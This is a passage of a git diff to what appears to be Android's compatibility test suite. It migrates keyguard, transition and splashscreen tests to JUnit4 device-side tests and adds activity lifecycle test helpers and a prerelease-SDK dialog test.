- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
executeShellCommand(getAmStartCmd("ShowWhenLockedActivity"));
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedActivity").build());
mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
setDeviceRotation(1);
pressHomeButton();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- mAmWmState.waitForDisplayUnfrozen(mDevice);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.waitForDisplayUnfrozen();
mAmWmState.assertSanity();
mAmWmState.assertHomeActivityVisible(false);
- assertShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
mAmWmState.assertVisibility("ShowWhenLockedActivity", false);
}
private void assertWallpaperShowing() {
WindowState wallpaper =
- mAmWmState.getWmState().findFirstWindowWithType(WindowState.TYPE_WALLPAPER);
+ mAmWmState.getWmState().findFirstWindowWithType(TYPE_WALLPAPER);
assertNotNull(wallpaper);
assertTrue(wallpaper.isShown());
}
+ @Test
public void testDismissKeyguardAttrActivity_method_turnScreenOn() throws Exception {
if (!isHandheld()) {
return;
@@ -318,16 +347,17 @@
sleepDevice();
final String logSeparator = clearLogcat();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
launchActivity(activityName);
- mAmWmState.waitForKeyguardGone(mDevice);
+ mAmWmState.waitForKeyguardGone();
mAmWmState.assertVisibility(activityName, true);
assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
assertOnDismissSucceededInLogcat(logSeparator);
assertTrue(isDisplayOn());
}
+ @Test
public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() throws Exception {
if (!isHandheld()) {
return;
@@ -338,15 +368,16 @@
setLockCredential();
sleepDevice();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
launchActivity(activityName);
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
mAmWmState.assertVisibility(activityName, false);
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
assertTrue(isDisplayOn());
}
+ @Test
public void testScreenOffWhileOccludedStopsActivity() throws Exception {
if (!isHandheld()) {
return;
@@ -354,16 +385,17 @@
final String logSeparator = clearLogcat();
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
launchActivity("ShowWhenLockedAttrActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedAttrActivity" });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedAttrActivity" ).build());
mAmWmState.assertVisibility("ShowWhenLockedAttrActivity", true);
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
sleepDevice();
assertSingleLaunchAndStop("ShowWhenLockedAttrActivity", logSeparator);
}
+ @Test
public void testScreenOffCausesSingleStop() throws Exception {
if (!isHandheld()) {
return;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTransitionTests.java
similarity index 73%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/KeyguardTransitionTests.java
index 1814010..2abae6a 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTransitionTests.java
@@ -14,20 +14,26 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_OCCLUDE;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_UNOCCLUDE;
+import static android.server.am.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_OCCLUDE;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_UNOCCLUDE;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.Before;
+import org.junit.Test;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardTransitionTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.KeyguardTransitionTests
*/
public class KeyguardTransitionTests extends ActivityManagerTestBase {
+ @Before
@Override
public void setUp() throws Exception {
super.setUp();
@@ -36,6 +42,7 @@
setLockDisabled(false);
}
+ @Test
public void testUnlock() throws Exception {
if (!isHandheld()) {
return;
@@ -43,11 +50,11 @@
launchActivity("TestActivity");
gotoKeyguard();
unlockDevice();
- mAmWmState.computeState(mDevice, new String[] { "TestActivity"} );
+ mAmWmState.computeState(new WaitForValidActivityState("TestActivity"));
assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
mAmWmState.getWmState().getLastTransition());
}
-
+ @Test
public void testUnlockWallpaper() throws Exception {
if (!isHandheld()) {
return;
@@ -55,22 +62,22 @@
launchActivity("WallpaperActivity");
gotoKeyguard();
unlockDevice();
- mAmWmState.computeState(mDevice, new String[] { "WallpaperActivity"} );
+ mAmWmState.computeState(new WaitForValidActivityState("WallpaperActivity"));
assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER,
mAmWmState.getWmState().getLastTransition());
}
-
+ @Test
public void testOcclude() throws Exception {
if (!isHandheld()) {
return;
}
gotoKeyguard();
launchActivity("ShowWhenLockedActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity"} );
+ mAmWmState.computeState(new WaitForValidActivityState("ShowWhenLockedActivity"));
assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
mAmWmState.getWmState().getLastTransition());
}
-
+ @Test
public void testUnocclude() throws Exception {
if (!isHandheld()) {
return;
@@ -78,12 +85,12 @@
gotoKeyguard();
launchActivity("ShowWhenLockedActivity");
launchActivity("TestActivity");
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.computeState();
assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_UNOCCLUDE,
mAmWmState.getWmState().getLastTransition());
}
-
+ @Test
public void testNewActivityDuringOccluded() throws Exception {
if (!isHandheld()) {
return;
@@ -91,11 +98,11 @@
launchActivity("ShowWhenLockedActivity");
gotoKeyguard();
launchActivity("ShowWhenLockedWithDialogActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedWithDialogActivity" });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedWithDialogActivity").build());
assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
mAmWmState.getWmState().getLastTransition());
}
-
+ @Test
public void testOccludeManifestAttr() throws Exception {
if (!isHandheld()) {
return;
@@ -106,12 +113,12 @@
gotoKeyguard();
final String logSeparator = clearLogcat();
launchActivity(activityName);
- mAmWmState.computeState(mDevice, new String[] {activityName});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
mAmWmState.getWmState().getLastTransition());
assertSingleLaunch(activityName, logSeparator);
}
-
+ @Test
public void testOccludeAttrRemove() throws Exception {
if (!isHandheld()) {
return;
@@ -122,7 +129,7 @@
gotoKeyguard();
String logSeparator = clearLogcat();
launchActivity(activityName);
- mAmWmState.computeState(mDevice, new String[] {activityName});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
mAmWmState.getWmState().getLastTransition());
assertSingleLaunch(activityName, logSeparator);
@@ -130,10 +137,10 @@
gotoKeyguard();
logSeparator = clearLogcat();
launchActivity(activityName);
- mAmWmState.computeState(mDevice, new String[] {activityName});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
assertSingleStartAndStop(activityName, logSeparator);
}
-
+ @Test
public void testNewActivityDuringOccludedWithAttr() throws Exception {
if (!isHandheld()) {
return;
@@ -145,7 +152,7 @@
launchActivity(activityName1);
gotoKeyguard();
launchActivity(activityName2);
- mAmWmState.computeState(mDevice, new String[] { activityName2 });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName2).build());
assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
mAmWmState.getWmState().getLastTransition());
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/PrereleaseSdkTest.java b/tests/framework/base/activitymanager/src/android/server/am/PrereleaseSdkTest.java
new file mode 100644
index 0000000..2ed8dee
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/PrereleaseSdkTest.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.After;
+import org.junit.Test;
+
+/**
+ * Ensure that compatibility dialog is shown when launching an application built
+ * against a prerelease SDK.
+ */
+public class PrereleaseSdkTest extends ActivityManagerTestBase {
+ private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
+ private static final String AM_FORCE_STOP = "am force-stop %s";
+
+ private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
+ private static final int WINDOW_TIMEOUT_MILLIS = 1000;
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ // Ensure app process is stopped.
+ forceStopPackage("android.server.am.prerelease");
+ forceStopPackage("android.server.am");
+ }
+
+ @Test
+ public void testCompatibilityDialog() throws Exception {
+ // Launch target app.
+ startActivity("android.server.am.prerelease", "MainActivity");
+ verifyWindowDisplayed("MainActivity", ACTIVITY_TIMEOUT_MILLIS);
+ verifyWindowDisplayed("UnsupportedCompileSdkDialog", WINDOW_TIMEOUT_MILLIS);
+
+ // Go back to dismiss the warning dialog.
+ executeShellCommand("input keyevent 4");
+
+ // Go back again to formally stop the app. If we just kill the process, it'll attempt to
+ // resume rather than starting from scratch (as far as ActivityStack is concerned) and it
+ // won't invoke the warning dialog.
+ executeShellCommand("input keyevent 4");
+ }
+
+ private void forceStopPackage(String packageName) {
+ final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
+ executeShellCommand(forceStopCmd);
+ }
+
+ private void startActivity(String packageName, String activityName){
+ executeShellCommand(getStartCommand(packageName, activityName));
+ }
+
+ private String getStartCommand(String packageName, String activityName) {
+ return String.format(AM_START_COMMAND, packageName, packageName, activityName);
+ }
+
+ private void verifyWindowDisplayed(String windowName, long timeoutMillis) {
+ boolean success = false;
+
+ // Verify that compatibility dialog is shown within 1000ms.
+ final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
+ while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
+ final String output = executeShellCommand("dumpsys window");
+ success = output.contains(windowName);
+ }
+
+ assertTrue(windowName + " was not displayed", success);
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
similarity index 75%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
index ed7f383..e3b8be8 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java
@@ -14,41 +14,46 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import java.awt.Color;
-import java.awt.Rectangle;
-import java.awt.image.BufferedImage;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.Rect;
+
+import org.junit.Test;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.SplashscreenTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.SplashscreenTests
*/
public class SplashscreenTests extends ActivityManagerTestBase {
+ @Test
public void testSplashscreenContent() throws Exception {
launchActivityNoWait("SplashscreenActivity");
- mAmWmState.waitForAppTransitionIdle(mDevice);
+ mAmWmState.waitForAppTransitionIdle();
mAmWmState.getWmState().getStableBounds();
- final BufferedImage image = takeScreenshot();
-
+ final Bitmap image = takeScreenshot();
// Use ratios to flexibly accomodate circular or not quite rectangular displays
// Note: Color.BLACK is the pixel color outside of the display region
assertColors(image, mAmWmState.getWmState().getStableBounds(),
- Color.RED.getRGB(), 0.50f, Color.BLACK.getRGB(), 0.01f);
+ Color.RED, 0.50f, Color.BLACK, 0.01f);
}
- private void assertColors(BufferedImage img, Rectangle bounds, int primaryColor,
+ private void assertColors(Bitmap img, Rect bounds, int primaryColor,
float expectedPrimaryRatio, int secondaryColor, float acceptableWrongRatio) {
int primaryPixels = 0;
int secondaryPixels = 0;
int wrongPixels = 0;
- for (int x = bounds.x; x < bounds.x + bounds.width; x++) {
- for (int y = bounds.y; y < bounds.y + bounds.height; y++) {
+ for (int x = bounds.left; x < bounds.right; x++) {
+ for (int y = bounds.top; y < bounds.bottom; y++) {
assertTrue(x < img.getWidth());
assertTrue(y < img.getHeight());
- final int color = img.getRGB(x, y);
+ final int color = img.getPixel(x, y);
if (primaryColor == color) {
primaryPixels++;
} else if (secondaryColor == color) {
@@ -59,14 +64,13 @@
}
}
- final int totalPixels = bounds.width * bounds.height;
+ final int totalPixels = bounds.width() * bounds.height();
final float primaryRatio = (float) primaryPixels / totalPixels;
if (primaryRatio < expectedPrimaryRatio) {
fail("Less than " + (expectedPrimaryRatio * 100.0f)
+ "% of pixels have non-primary color primaryPixels=" + primaryPixels
+ " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
}
-
// Some pixels might be covered by screen shape decorations, like rounded corners.
// On circular displays, there is an antialiased edge.
final float wrongRatio = (float) wrongPixels / totalPixels;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
new file mode 100644
index 0000000..a5673a6
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
@@ -0,0 +1,83 @@
+package android.server.am.lifecycle;
+
+import static android.server.am.StateLogger.log;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.server.am.ActivityManagerTestBase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.lifecycle.ActivityLifecycleMonitor;
+import android.support.test.runner.lifecycle.ActivityLifecycleMonitorRegistry;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import org.junit.After;
+import org.junit.Before;
+
+/** Base class for device-side tests that verify correct activity lifecycle transitions. */
+public class ActivityLifecycleClientTestBase extends ActivityManagerTestBase {
+
+ final ActivityTestRule mFirstActivityTestRule = new ActivityTestRule(FirstActivity.class,
+ true /* initialTouchMode */, false /* launchActivity */);
+
+ final ActivityTestRule mSecondActivityTestRule = new ActivityTestRule(SecondActivity.class,
+ true /* initialTouchMode */, false /* launchActivity */);
+
+ private final ActivityLifecycleMonitor mLifecycleMonitor = ActivityLifecycleMonitorRegistry
+ .getInstance();
+ private LifecycleLog mLifecycleLog;
+ private LifecycleTracker mLifecycleTracker;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ // Log transitions for all activities that belong to this app.
+ mLifecycleLog = new LifecycleLog();
+ mLifecycleMonitor.addLifecycleCallback(mLifecycleLog);
+
+ // Track transitions and allow waiting for pending activity states.
+ mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
+ mLifecycleMonitor.addLifecycleCallback(mLifecycleTracker);
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ mLifecycleMonitor.removeLifecycleCallback(mLifecycleLog);
+ mLifecycleMonitor.removeLifecycleCallback(mLifecycleTracker);
+ super.tearDown();
+ }
+
+ /** Launch an activity given a class. */
+ protected Activity launchActivity(Class<? extends Activity> activityClass) {
+ final Intent intent = new Intent(InstrumentationRegistry.getTargetContext(), activityClass);
+ return InstrumentationRegistry.getInstrumentation().startActivitySync(intent);
+ }
+
+ /**
+ * Blocking call that will wait for activities to reach expected states with timeout.
+ */
+ @SafeVarargs
+ final void waitAndAssertActivityStates(Pair<Activity, Stage>... activityStates) {
+ log("Start waitAndAssertActivityStates");
+ mLifecycleTracker.waitAndAssertActivityStates(activityStates);
+ }
+
+ LifecycleLog getLifecycleLog() {
+ return mLifecycleLog;
+ }
+
+ static Pair<Activity, Stage> state(Activity activity, Stage stage) {
+ return new Pair<>(activity, stage);
+ }
+
+ // Test activity
+ public static class FirstActivity extends Activity {
+ }
+
+ // Test activity
+ public static class SecondActivity extends Activity {
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
new file mode 100644
index 0000000..5d0705f
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -0,0 +1,44 @@
+package android.server.am.lifecycle;
+
+import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build/Install/Run: atest CtsActivityManagerDeviceTestCases:ActivityLifecycleKeyguardTests
+ */
+// TODO(lifecycler): Add to @Presubmit.
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ActivityLifecycleKeyguardTests extends ActivityLifecycleClientTestBase {
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ setLockCredential();
+ gotoKeyguard();
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ tearDownLockCredentials();
+ super.tearDown();
+ }
+
+ @Test
+ public void testSingleLaunch() throws Exception {
+ final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(activity, STOPPED));
+
+ LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
new file mode 100644
index 0000000..64a0380
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -0,0 +1,67 @@
+package android.server.am.lifecycle;
+
+import static android.support.test.runner.lifecycle.Stage.DESTROYED;
+import static android.support.test.runner.lifecycle.Stage.RESUMED;
+import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build/Install/Run: atest CtsActivityManagerDeviceTestCases:ActivityLifecycleTests
+ */
+// TODO(lifecycler): Add to @Presubmit.
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ActivityLifecycleTests extends ActivityLifecycleClientTestBase {
+
+ @Test
+ public void testSingleLaunch() throws Exception {
+ final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(activity, RESUMED));
+
+ LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+ }
+
+ @Test
+ public void testLaunchOnTop() throws Exception {
+ final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(firstActivity, RESUMED));
+
+ getLifecycleLog().clear();
+ final Activity secondActivity = mSecondActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(firstActivity, STOPPED),
+ state(secondActivity, RESUMED));
+
+ LifecycleVerifier.assertLaunchSequence(SecondActivity.class, FirstActivity.class,
+ getLifecycleLog());
+ }
+
+ @Test
+ public void testLaunchAndDestroy() throws Exception {
+ final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+
+ activity.finish();
+ waitAndAssertActivityStates(state(activity, DESTROYED));
+
+ LifecycleVerifier.assertLaunchAndDestroySequence(FirstActivity.class, getLifecycleLog());
+ }
+
+ @Test
+ public void testRelaunch() throws Exception {
+ final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+ waitAndAssertActivityStates(state(activity, RESUMED));
+
+ getLifecycleLog().clear();
+ InstrumentationRegistry.getInstrumentation().runOnMainSync(activity::recreate);
+ waitAndAssertActivityStates(state(activity, RESUMED));
+
+ LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog());
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
new file mode 100644
index 0000000..dab6316
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
@@ -0,0 +1,50 @@
+package android.server.am.lifecycle;
+
+import static android.server.am.StateLogger.log;
+
+import android.app.Activity;
+import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Used as a shared log storage of activity lifecycle transitions.
+ */
+class LifecycleLog implements ActivityLifecycleCallback {
+
+ private List<Pair<String, Stage>> mLog = new ArrayList<>();
+
+ /** Clear the entire transition log. */
+ void clear() {
+ mLog.clear();
+ }
+
+ /** Add transition of an activity to the log. */
+ @Override
+ public void onActivityLifecycleChanged(Activity activity, Stage stage) {
+ final String activityName = activity.getClass().getCanonicalName();
+ log("Activity " + activityName + " moved to stage " + stage);
+ mLog.add(new Pair<>(activityName, stage));
+ }
+
+ /** Get logs for all recorded transitions. */
+ List<Pair<String, Stage>> getLog() {
+ return mLog;
+ }
+
+ /** Get transition logs for the specified activity. */
+ List<Stage> getActivityLog(Class<? extends Activity> activityClass) {
+ final String activityName = activityClass.getCanonicalName();
+ log("Looking up log for activity: " + activityName);
+ final List<Stage> activityLog = new ArrayList<>();
+ for (Pair<String, Stage> transition : mLog) {
+ if (transition.first.equals(activityName)) {
+ activityLog.add(transition.second);
+ }
+ }
+ return activityLog;
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
new file mode 100644
index 0000000..df2cff7
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleTracker.java
@@ -0,0 +1,76 @@
+package android.server.am.lifecycle;
+
+import static org.junit.Assert.fail;
+
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.function.BooleanSupplier;
+
+/**
+ * Gets notified about activity lifecycle updates and provides blocking mechanism to wait until
+ * expected activity states are reached.
+ */
+public class LifecycleTracker implements ActivityLifecycleCallback {
+
+ private LifecycleLog mLifecycleLog;
+
+ LifecycleTracker(LifecycleLog lifecycleLog) {
+ mLifecycleLog = lifecycleLog;
+ }
+
+ void waitAndAssertActivityStates(Pair<Activity, Stage>[] activityStates) {
+ final boolean waitResult = waitForConditionWithTimeout(
+ () -> pendingStates(activityStates).isEmpty(), 5 * 1000);
+
+ if (!waitResult) {
+ fail("Expected lifecycle states not achieved: " + pendingStates(activityStates));
+ }
+ }
+
+ @Override
+ synchronized public void onActivityLifecycleChanged(Activity activity, Stage stage) {
+ notify();
+ }
+
+ /** Get a list of activity states that were not reached yet. */
+ private List<Pair<Activity, Stage>> pendingStates(Pair<Activity, Stage>[] activityStates) {
+ final List<Pair<Activity, Stage>> notReachedActivityStates = new ArrayList<>();
+
+ for (Pair<Activity, Stage> activityState : activityStates) {
+ final Activity activity = activityState.first;
+ final List<Stage> transitionList = mLifecycleLog.getActivityLog(activity.getClass());
+ if (transitionList.isEmpty()
+ || transitionList.get(transitionList.size() - 1) != activityState.second) {
+ // The activity either hasn't got any state transitions yet or the current state is
+ // not the one we expect.
+ notReachedActivityStates.add(activityState);
+ }
+ }
+ return notReachedActivityStates;
+ }
+
+ /** Blocking call to wait for a condition to become true with max timeout. */
+ synchronized private boolean waitForConditionWithTimeout(BooleanSupplier waitCondition,
+ long timeoutMs) {
+ final long timeout = System.currentTimeMillis() + timeoutMs;
+ while (!waitCondition.getAsBoolean()) {
+ final long waitMs = timeout - System.currentTimeMillis();
+ if (waitMs <= 0) {
+ // Timeout expired.
+ return false;
+ }
+ try {
+ wait(timeoutMs);
+ } catch (InterruptedException e) {
+ // Weird, let's retry.
+ }
+ }
+ return true;
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java
new file mode 100644
index 0000000..bbb3ad8
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java
@@ -0,0 +1,94 @@
+package android.server.am.lifecycle;
+
+import static android.support.test.runner.lifecycle.Stage.CREATED;
+import static android.support.test.runner.lifecycle.Stage.DESTROYED;
+import static android.support.test.runner.lifecycle.Stage.PAUSED;
+import static android.support.test.runner.lifecycle.Stage.PRE_ON_CREATE;
+import static android.support.test.runner.lifecycle.Stage.RESUMED;
+import static android.support.test.runner.lifecycle.Stage.STARTED;
+import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import android.app.Activity;
+import android.support.test.runner.lifecycle.Stage;
+import android.util.Pair;
+
+import java.util.Arrays;
+import java.util.List;
+
+import static android.server.am.StateLogger.log;
+import static org.junit.Assert.assertEquals;
+
+/** Util class that verifies correct activity state transition sequences. */
+class LifecycleVerifier {
+
+ static void assertLaunchSequence(Class<? extends Activity> activityClass,
+ LifecycleLog lifecycleLog) {
+ final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(activityClass, "launch");
+
+ final List<Stage> expectedTransitions =
+ Arrays.asList(PRE_ON_CREATE, CREATED, STARTED, RESUMED);
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ static void assertLaunchSequence(Class<? extends Activity> launchingActivity,
+ Class<? extends Activity> existingActivity, LifecycleLog lifecycleLog) {
+ final List<Pair<String, Stage>> observedTransitions = lifecycleLog.getLog();
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(launchingActivity, "launch");
+
+ final List<Pair<String, Stage>> expectedTransitions = Arrays.asList(
+ transition(existingActivity, PAUSED),
+ transition(launchingActivity, PRE_ON_CREATE),
+ transition(launchingActivity, CREATED),
+ transition(launchingActivity, STARTED),
+ transition(launchingActivity, RESUMED),
+ transition(existingActivity, STOPPED));
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ static void assertLaunchAndStopSequence(Class<? extends Activity> activityClass,
+ LifecycleLog lifecycleLog) {
+ final List<Stage> observedTransitions = lifecycleLog.getActivityLog(activityClass);
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(activityClass, "launch and stop");
+
+ final List<Stage> expectedTransitions =
+ Arrays.asList(PRE_ON_CREATE, CREATED, STARTED, RESUMED, PAUSED, STOPPED);
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
+ static void assertLaunchAndDestroySequence(Class<? extends Activity> activityClass,
